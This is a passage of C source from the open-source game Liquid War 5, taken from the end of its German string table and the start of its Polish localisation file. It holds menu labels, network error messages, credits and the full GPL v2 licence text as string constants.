Programm muessen die gleiche Version haben (Programmversion ist: \"" LW_VERSION "\")."; LW_LANGDE_DATA[LW_LANG_STRING_ERROR_NETWORKPROBLEM] = "Ein Netzwerkfehler trat auf.\nDies passiert meistens wenn die Verbindung mit demServer zu langsam oder gar nicht mehr vorhanden ist."; LW_LANGDE_DATA[LW_LANG_STRING_ERROR_CANTSENDMAP] = "Kann die Karte nicht zum Server senden."; LW_LANGDE_DATA[LW_LANG_STRING_ERROR_CANTRECEIVEMAP] = "Kann die Map nicht vom Server empfangen."; LW_LANGDE_DATA[LW_LANG_STRING_ERROR_SERVERFULL] = "Dieser Server ist voll und kann derzeit keine weiteren Teams aufnehmen."; LW_LANGDE_DATA[LW_LANG_STRING_ERROR_BADPASSWORD] = "Falsches Passwort."; LW_LANGDE_DATA[LW_LANG_STRING_ERROR_BADCONFIGRANGE] = "Eines der Configparameter ist falsch. Eventuell cheatet oder hackt jemand."; /* * In the following section we can use accented chars since these * labels are used in system popup windows which are supposed to * handle chars>127, unlike Liquid War graphical functions. */ LW_LANGDE_DATA[LW_LANG_STRING_POPUP_INITFAIL] = "Initalisierung fehlgeschlagen."; LW_LANGDE_DATA[LW_LANG_STRING_POPUP_MEMTROUBLE] = "Fuer Bilder ist nicht genug Speicher vorhanden."; LW_LANGDE_DATA[LW_LANG_STRING_POPUP_BIGDATA] = "Nicht genug Speicher vorhanden."; LW_LANGDE_DATA[LW_LANG_STRING_POPUP_LOADFAIL] = "Die Daten konnten nicht geladen werden. Sind sie sich sicher, dass Liquid Wars richtig installiert ist?"; LW_LANGDE_DATA[LW_LANG_STRING_POPUP_CUSTOMFAIL] = "Die selbsterstellten Daten konnten nicht geladen werden."; LW_LANGDE_DATA[LW_LANG_STRING_POPUP_GRAPHICSFAIL] = "Graphiken konnten nicht geladen werden."; LW_LANGDE_DATA[LW_LANG_STRING_LW6_INFO] = "Dieses Programm ist veraltet. Denke ueber ein Upgrade auf Liquid War 6 nach, welches unter folgender Adresse verfuegbar ist:\n\nhttp://www.gnu.org/software/liquidwar6/\n\nLiquid War 5 steht dir weiterhin zur Verfuegung, und kann kostenlos benutzt werden. In Zukunft werden jedoch nur noch groessere Sicherheitsloecher gefixt, eine Weiterentwicklung des Liquid War 5 Baumes sollte nicht erwartet werden."; LW_LANGDE_DATA[LW_LANG_STRING_LW6_OK] = "OK"; } /*------------------------------------------------------------------*/ /* returns the French string associated to an id */ /*------------------------------------------------------------------*/ char * lw_langde_string (int id) { char *result = NULL; if (id >= 0 && id < LW_LANG_NB_STRINGS) { result = LW_LANGDE_DATA[id]; } if (!result) { result = "??? de"; } return result; } liquidwar-5.6.5/src/langpl.c0000664000372000037200000010504313407756104015354 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /* Autor of translation: aso.gdynia@gmail.com (http://aso.uh.net.pl) */ /*****************************************************************************/ /********************************************************************/ /* name : langpl.c */ /* content : handles Polish dependent stuff (locale) */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "lang.h" #include "langpl.h" #include "base.h" /*==================================================================*/ /* globals */ /*==================================================================*/ static char *LW_LANGPL_DATA[LW_LANG_NB_STRINGS]; /*------------------------------------------------------------------*/ /* initializes the string table */ /*------------------------------------------------------------------*/ void lw_langpl_init () { memset (LW_LANGPL_DATA, 0, sizeof (LW_LANGPL_DATA)); LW_LANGPL_DATA[LW_LANG_STRING_LANGUAGE] = "Polski"; LW_LANGPL_DATA[LW_LANG_STRING_APPNAME] = "Liquid War " LW_VERSION; LW_LANGPL_DATA[LW_LANG_STRING_HELP_CREDITS] = "Idea:: \n* Thomas Colcombet\n\nKod: \n* Christian Mauduit\n\nMuzyka:\n* Tim Chadburn\n\nInni:\n* Alstar\n* Peter Wang\n* Cort Danger Stratton\n* Jan Gretschuskin (www.game-factor.de)\n* Mouse\n* Rene Stach\n* Roderick Schertler\n* Ryan D. Brown\n* Eduard Bloch\n* Michael Terry\n* Kasper Hviid\n* David Redick\n* Alexandre Pineau\n* Michael Wagner\n* Peter Williams\n* Jan Samohyl\n* Gavin\n* Dave Vasilevsky\n* 2 of Omega\n* 666-REFIZUL-666\n* Thomas Klausner\n* Joan Dolc\n* Mikhail Yakshin\n* Valerie Mauduit\n* Florence Mauduit\n* Joey Dodson\n* Jan Szenborn\n\nWięcej informacji na www.ufoot.org/liquidwar/v5\n"; LW_LANGPL_DATA[LW_LANG_STRING_HELP_COPYRIGHT] = "Liquid War jest wojenną grą multiplayer.\nCopyright (C) 1998-2018 Christian Mauduit (ufoot@ufoot.org)\n\nTen program jest darmowy; możesz go rozpowszechniać i/lub modyfikować zgodnie z zasadami GNU General Public License wydanej przez Free Software Foundation, zgodnie z wersją drugą tej licencji albo (według Twojego wyboru) późniejszą wersją.\n\nTen program jest rozpowszechniany z nadzieją na bycie użytecznym, ale CAŁKOWICIE BEZ GWARANCJI; nawet bez gwarancji PRZYDATNOŚCI HANDLOWEJ albo PRZYDATNOŚCI DO OKREŚLONYCH ZASTOSOWAŃ. Zobacz GNU General Public License po więcej szczegółów.\n\nPowinieneś dostać kopię licencji GNU razem z tym programem; jeżeli nie, napisz do Free Software Foundation, Inc., 51 Franklin St, 5 piętro, Boston, MA 02110-1301 USA\n\nWięcej informacji na www.ufoot.org/liquidwar/v5\n"; /* * Stupid Microsoft VC++ can't handle strings over 2048 chars correctly, * (compiler error C2026) so we had to split this one... */ LW_LANGPL_DATA[LW_LANG_STRING_HELP_LICENSE] = "GNU GENERAL PUBLIC LICENSE\nVersion 2, June 1991\n\nCopyright (C) 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave, Cambridge, MA 02139, USA\n\nEveryone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.\n\nPreamble\n\nThe licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too.\n\nWhen we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom " "to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. \n\nTo protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. \n\nFor example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.\n\nWe protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.\n\nAlso, " "for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.\n\nFinally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all.\n\nThe precise terms and conditions for copying, distribution and modification follow.\n\nGNU GENERAL PUBLIC LICENSE\nTERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n0. This License applies to any program or other work which contains a notice placed by the copyright " "holder saying it may be distributed under the terms of this General Public License. The \"Program\", below, refers to any such program or work, and a \"work based on the Program\" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term \"modification\".) Each licensee is addressed as \"you\".\nActivities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. \n\n1. You may copy and distribute verbatim copies of the Program's source code as you " "receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. \nYou may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.\n\n2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: \na) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.\nb) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or " "any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.\nc) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)\nThese requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to " "those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.\nThus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. \nIn addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. \n\n3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above " "provided that you also do one of the following:\na) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,\nb) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,\nc) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.)\nThe source code for a work means the preferred form of the work for making modifications " "to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.\nIf distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. \n\n4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt " "otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.\n\n5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it.\n\n6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify " "the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.\n\n7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain " "entirely from distribution of the Program.\nIf any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances.\nIt is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.\nThis section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.\n\n8. " "If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.\n\n9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.\nEach version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and \"any later version\", you have the option of following the terms and conditions either of that version or of any later version published by the " "Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. \n\n10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.\n\nNO WARRANTY\n\n11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT " "NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. \n\n12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n\nEND OF TERMS AND CONDITIONS\n\nMore informations on www.ufoot.org/liquidwar/v5\n"; LW_LANGPL_DATA[LW_LANG_STRING_HELP_VERSION] = "Liquid War by U-Foot\n\nv" LW_VERSION " \n\nskompilowany " __DATE__ " o " __TIME__ "\n\nWięcej informacji na www.ufoot.org/liquidwar/v5\n"; LW_LANGPL_DATA[LW_LANG_STRING_MENU_PLAY] = "Graj"; LW_LANGPL_DATA[LW_LANG_STRING_MENU_NETGAME] = "Gra sieciowa"; LW_LANGPL_DATA[LW_LANG_STRING_MENU_MAP] = "Mapy"; LW_LANGPL_DATA[LW_LANG_STRING_MENU_TEAMS] = "Drużyny"; LW_LANGPL_DATA[LW_LANG_STRING_MENU_OPTIONS] = "Opcje"; LW_LANGPL_DATA[LW_LANG_STRING_MENU_ABOUT] = "Informacje"; LW_LANGPL_DATA[LW_LANG_STRING_MENU_EXIT] = "Wyjście"; LW_LANGPL_DATA[LW_LANG_STRING_MENU_EXITDOS] = "Wyjdź do DOS"; LW_LANGPL_DATA[LW_LANG_STRING_MENU_EXITWINDOWS] = "Wyjście"; LW_LANGPL_DATA[LW_LANG_STRING_MENU_EXITUNIX] = "Wyjście"; LW_LANGPL_DATA[LW_LANG_STRING_MENU_BACK] = "Wróć do LW"; LW_LANGPL_DATA[LW_LANG_STRING_DIALOG_QUIT] = "Zamknij"; LW_LANGPL_DATA[LW_LANG_STRING_DIALOG_BACK] = "Wróć"; LW_LANGPL_DATA[LW_LANG_STRING_DIALOG_PLAY] = "Graj"; LW_LANGPL_DATA[LW_LANG_STRING_DIALOG_MAIN] = "Menu główne"; LW_LANGPL_DATA[LW_LANG_STRING_PLAY_GETREADY] = "Przygotuj się!"; LW_LANGPL_DATA[LW_LANG_STRING_NETGAME_STARTGAME] = "Rozpocznij grę"; LW_LANGPL_DATA[LW_LANG_STRING_NETGAME_SERVERADDR] = "Adres serwera"; LW_LANGPL_DATA[LW_LANG_STRING_NETGAME_SERVERPORT] = "Port serwera"; LW_LANGPL_DATA[LW_LANG_STRING_NETGAME_SEARCH] = "Szukaj gier w internecie"; LW_LANGPL_DATA[LW_LANG_STRING_NETGAME_PASSWORD] = "Hasło (*)"; LW_LANGPL_DATA[LW_LANG_STRING_NETGAME_WEAKPASSWORD] = "(*) UWAGA! Wybierz słabe hasło typu \"hello\", ponieważ jest przechowywane i wysyłane do serwera w postaci czystego tekstu."; LW_LANGPL_DATA[LW_LANG_STRING_LANGUAGE_AUTO] = "Automatycznie"; LW_LANGPL_DATA[LW_LANG_STRING_TEAM_OFF] = "Wyłącz"; LW_LANGPL_DATA[LW_LANG_STRING_TEAM_HUMAN] = "Człowiek"; LW_LANGPL_DATA[LW_LANG_STRING_TEAM_CPU] = "Komputer"; LW_LANGPL_DATA[LW_LANG_STRING_OPTIONS_GRAPHICS] = "Grafika"; LW_LANGPL_DATA[LW_LANG_STRING_OPTIONS_SOUND] = "Dźwięk"; LW_LANGPL_DATA[LW_LANG_STRING_OPTIONS_RULES] = "Zasady"; LW_LANGPL_DATA[LW_LANG_STRING_OPTIONS_SPEEDS] = "Prędkość"; LW_LANGPL_DATA[LW_LANG_STRING_OPTIONS_CONTROLS] = "Klawisze"; LW_LANGPL_DATA[LW_LANG_STRING_OPTIONS_LANGUAGE] = "Język"; LW_LANGPL_DATA[LW_LANG_STRING_OPTIONS_DEFAULT] = "Ust. domyślne"; LW_LANGPL_DATA[LW_LANG_STRING_GRAPHICS_GAME] = "Gra"; LW_LANGPL_DATA[LW_LANG_STRING_GRAPHICS_MENU] = "Menu"; LW_LANGPL_DATA[LW_LANG_STRING_GRAPHICS_ON] = "Wł."; LW_LANGPL_DATA[LW_LANG_STRING_GRAPHICS_OFF] = "Wył."; LW_LANGPL_DATA[LW_LANG_STRING_GRAPHICS_FULLSCREEN] = "Pełen ekran"; LW_LANGPL_DATA[LW_LANG_STRING_GRAPHICS_WINDOWED] = "Okno"; LW_LANGPL_DATA[LW_LANG_STRING_GRAPHICS_ADVANCED] = "Zaawansowane"; LW_LANGPL_DATA[LW_LANG_STRING_GRAPHICS_VIDEOMODE] = "Tryb grafiki"; LW_LANGPL_DATA[LW_LANG_STRING_GRAPHICS_BRIGHTNESS] = "Jasność"; LW_LANGPL_DATA[LW_LANG_STRING_GRAPHICS_VIEWPORTSIZE] = "Obszar generowania grafiki"; LW_LANGPL_DATA[LW_LANG_STRING_GRAPHICS_PAGEFLIPPING] = "Page flipping"; LW_LANGPL_DATA[LW_LANG_STRING_GRAPHICS_WAVES] = "Fale (F4)"; LW_LANGPL_DATA[LW_LANG_STRING_VOLUME_SFX] = "Dźwięki"; LW_LANGPL_DATA[LW_LANG_STRING_VOLUME_CLICK] = "Klik"; LW_LANGPL_DATA[LW_LANG_STRING_VOLUME_GAMEWATER] = "Woda w grze"; LW_LANGPL_DATA[LW_LANG_STRING_VOLUME_MENUWATER] = "Woda w menu"; LW_LANGPL_DATA[LW_LANG_STRING_VOLUME_MUSIC] = "Muzyka"; LW_LANGPL_DATA[LW_LANG_STRING_RULES_TIME] = "Czas"; LW_LANGPL_DATA[LW_LANG_STRING_RULES_ADVANCED] = "Zaawansowane"; LW_LANGPL_DATA[LW_LANG_STRING_RULES_ARMYSIZE] = "Rozmiar armii"; LW_LANGPL_DATA[LW_LANG_STRING_RULES_CURSOR] = "Kursor"; LW_LANGPL_DATA[LW_LANG_STRING_RULES_DEFAULT] = "Domyślnie"; LW_LANGPL_DATA[LW_LANG_STRING_RULES_MINMAPRES] = "Min. "; LW_LANGPL_DATA[LW_LANG_STRING_ADVANCED_ATTACK] = "Atak"; LW_LANGPL_DATA[LW_LANG_STRING_ADVANCED_DEFENSE] = "Obrona"; LW_LANGPL_DATA[LW_LANG_STRING_ADVANCED_BASEHEALTH] = "Zdrowie bazowe"; LW_LANGPL_DATA[LW_LANG_STRING_ADVANCED_WINNERHELP] = "Pomoc zwycięscy"; LW_LANGPL_DATA[LW_LANG_STRING_ADVANCED_CPUSTRENGTH] = "Siła CPU"; LW_LANGPL_DATA[LW_LANG_STRING_ADVANCED_CPUVSHUMAN] = "Komputer przeciwko graczowi"; LW_LANGPL_DATA[LW_LANG_STRING_ADVANCED_ALWAYS] = "Zawsze"; LW_LANGPL_DATA[LW_LANG_STRING_ADVANCED_RANDOM] = "Losowo"; LW_LANGPL_DATA[LW_LANG_STRING_ADVANCED_NEVER] = "Nigdy"; LW_LANGPL_DATA[LW_LANG_STRING_ADVANCED_ASMALGORITHM] = "Algorytm"; LW_LANGPL_DATA[LW_LANG_STRING_ADVANCED_ASSEMBLY] = "Wbudowany"; LW_LANGPL_DATA[LW_LANG_STRING_ADVANCED_STANDARDC] = "Standardowy C"; LW_LANGPL_DATA[LW_LANG_STRING_ADVANCED_ALLOWNETWORKBOTS] = "Zezwól na boty w sieci"; LW_LANGPL_DATA[LW_LANG_STRING_ADVANCED_YES] = "Tak"; LW_LANGPL_DATA[LW_LANG_STRING_ADVANCED_NO] = "Nie"; LW_LANGPL_DATA[LW_LANG_STRING_SPEEDS_FPS] = "klatki/s"; LW_LANGPL_DATA[LW_LANG_STRING_SPEEDS_NOFPSLIMIT] = "Brak limitu klatek"; LW_LANGPL_DATA[LW_LANG_STRING_SPEEDS_RPS] = "rounds/s"; LW_LANGPL_DATA[LW_LANG_STRING_SPEEDS_NORPSLIMIT] = "Brak limitu RPS"; LW_LANGPL_DATA[LW_LANG_STRING_CONTROLS_JOYSTICK] = "Joystick"; LW_LANGPL_DATA[LW_LANG_STRING_CONTROLS_OFF] = "Wyłączony"; LW_LANGPL_DATA[LW_LANG_STRING_CONTROLS_2JOYSTICKS] = "2 joystiki"; LW_LANGPL_DATA[LW_LANG_STRING_CONTROLS_4BUTTONS] = "4 przyciski"; LW_LANGPL_DATA[LW_LANG_STRING_CONTROLS_STANDARD] = "Standardowo"; LW_LANGPL_DATA[LW_LANG_STRING_CONTROLS_MOUSESENSIB] = "Czułość myszy w grze"; LW_LANGPL_DATA[LW_LANG_STRING_ABOUT_CREDITS] = "Autorzy"; LW_LANGPL_DATA[LW_LANG_STRING_ABOUT_COPYRIGHT] = "Prawa autorskie"; LW_LANGPL_DATA[LW_LANG_STRING_ABOUT_LICENSE] = "Licencja"; LW_LANGPL_DATA[LW_LANG_STRING_ABOUT_VERSION] = "Wersja"; LW_LANGPL_DATA[LW_LANG_STRING_INTERNET_REFRESH] = "Odśwież"; LW_LANGPL_DATA[LW_LANG_STRING_INTERNET_JOINNOW] = "Dołącz"; LW_LANGPL_DATA[LW_LANG_STRING_INTERNET_PORT] = "Port"; LW_LANGPL_DATA[LW_LANG_STRING_INTERNET_PASSWORD] = "Hasło"; LW_LANGPL_DATA[LW_LANG_STRING_INTERNET_YES] = "tak"; LW_LANGPL_DATA[LW_LANG_STRING_INTERNET_NO] = "nie"; LW_LANGPL_DATA[LW_LANG_STRING_INTERNET_UPTIME] = "Czas działania"; LW_LANGPL_DATA[LW_LANG_STRING_INTERNET_DAYS] = "dni"; LW_LANGPL_DATA[LW_LANG_STRING_INTERNET_DAY] = "dzień"; LW_LANGPL_DATA[LW_LANG_STRING_INTERNET_HOURS] = "h"; LW_LANGPL_DATA[LW_LANG_STRING_INTERNET_MINUTES] = "min"; LW_LANGPL_DATA[LW_LANG_STRING_INTERNET_SECONDS] = "s"; LW_LANGPL_DATA[LW_LANG_STRING_INTERNET_UNREACHABLE] = "Nieosiągalny"; LW_LANGPL_DATA[LW_LANG_STRING_INTERNET_PING] = "Ping"; LW_LANGPL_DATA[LW_LANG_STRING_INTERNET_MSEC] = "ms"; LW_LANGPL_DATA[LW_LANG_STRING_WAVE_AMPLI] = "Amplituda"; LW_LANGPL_DATA[LW_LANG_STRING_WAVE_NUMBER] = "Liczba"; LW_LANGPL_DATA[LW_LANG_STRING_WAVE_SPEED] = "PRędkość"; LW_LANGPL_DATA[LW_LANG_STRING_WAVE_WX] = "WX"; LW_LANGPL_DATA[LW_LANG_STRING_WAVE_HY] = "HY"; LW_LANGPL_DATA[LW_LANG_STRING_WAVE_WY] = "WY"; LW_LANGPL_DATA[LW_LANG_STRING_WAVE_HX] = "HX"; LW_LANGPL_DATA[LW_LANG_STRING_CONNECT_STARTNOW] = "Rozpicznij"; LW_LANGPL_DATA[LW_LANG_STRING_CONNECT_WAITING] = "Oczekiwanie..."; LW_LANGPL_DATA[LW_LANG_STRING_CONNECT_WAITINGFOR] = "Oczekiwanie na "; LW_LANGPL_DATA[LW_LANG_STRING_CONNECT_TEAMS] = " drużyn(ę)"; LW_LANGPL_DATA[LW_LANG_STRING_CONNECT_SENDMESSAGE] = "Wyślij wiadomość"; LW_LANGPL_DATA[LW_LANG_STRING_NETPLAY_CONNECT] = "Połącz"; LW_LANGPL_DATA[LW_LANG_STRING_NETPLAY_PING] = "Ping"; LW_LANGPL_DATA[LW_LANG_STRING_NETPLAY_CHECKPROGRAM] = "Sprawdź program"; LW_LANGPL_DATA[LW_LANG_STRING_NETPLAY_CHECKVERSION] = "Sprawdź wersję"; LW_LANGPL_DATA[LW_LANG_STRING_NETPLAY_SENDPASSWORD] = "Hasło"; LW_LANGPL_DATA[LW_LANG_STRING_NETPLAY_FREETEAMS] = "Free teams?"; LW_LANGPL_DATA[LW_LANG_STRING_NETPLAY_RESERVETEAMS] = "Zarezerwuj drużyny"; LW_LANGPL_DATA[LW_LANG_STRING_NETPLAY_SENDCONFIG] = "Wyślij ustawienia"; LW_LANGPL_DATA[LW_LANG_STRING_NETPLAY_SENDMAP] = "Wyślij mapę"; LW_LANGPL_DATA[LW_LANG_STRING_NETPLAY_WAITING] = "Oczekiwanie..."; LW_LANGPL_DATA[LW_LANG_STRING_NETPLAY_WHOPLAYS] = "Kto gra?"; LW_LANGPL_DATA[LW_LANG_STRING_NETPLAY_RECVCONFIG] = "Odbierz ustawienia"; LW_LANGPL_DATA[LW_LANG_STRING_NETPLAY_RECVMAP] = "Odbierz mapę"; LW_LANGPL_DATA[LW_LANG_STRING_LEVEL_USEDEFAULTTEXTURE] = "Użyj domyślnej tekstury"; LW_LANGPL_DATA[LW_LANG_STRING_LEVEL_ON] = "Wł."; LW_LANGPL_DATA[LW_LANG_STRING_LEVEL_OFF] = "Wył."; LW_LANGPL_DATA[LW_LANG_STRING_LEVEL_RANDOMMAP] = "Losowa mapa"; LW_LANGPL_DATA[LW_LANG_STRING_CODE_FPS] = "klatki/s "; LW_LANGPL_DATA[LW_LANG_STRING_CODE_RPS] = "rounds/s "; LW_LANGPL_DATA[LW_LANG_STRING_CODE_PERCENTCALC] = "% calc "; LW_LANGPL_DATA[LW_LANG_STRING_CODE_PERCENTDISPLAY] = "% ekranu "; LW_LANGPL_DATA[LW_LANG_STRING_CODE_SPREADGRADTIME] = "Spread grad time "; LW_LANGPL_DATA[LW_LANG_STRING_CODE_MOVEARMYTIME] = "Czas ruchu armii "; LW_LANGPL_DATA[LW_LANG_STRING_CODE_DISPLAYTIME] = "Czas wyświetlania "; LW_LANGPL_DATA[LW_LANG_STRING_CODE_FLIPTIME] = "Flip time "; LW_LANGPL_DATA[LW_LANG_STRING_CODE_OTHERCALCTIME] = "Other calc time "; LW_LANGPL_DATA[LW_LANG_STRING_CODE_GLOBALTIME] = "Czas globalny "; LW_LANGPL_DATA[LW_LANG_STRING_CODE_STANDARDDISPLAY] = "Standardowy ekran"; LW_LANGPL_DATA[LW_LANG_STRING_CODE_GRADIENT1] = "Gradient 1"; LW_LANGPL_DATA[LW_LANG_STRING_CODE_GRADIENT2] = "Gradient 2"; LW_LANGPL_DATA[LW_LANG_STRING_CODE_GRADIENT3] = "Gradient 3"; 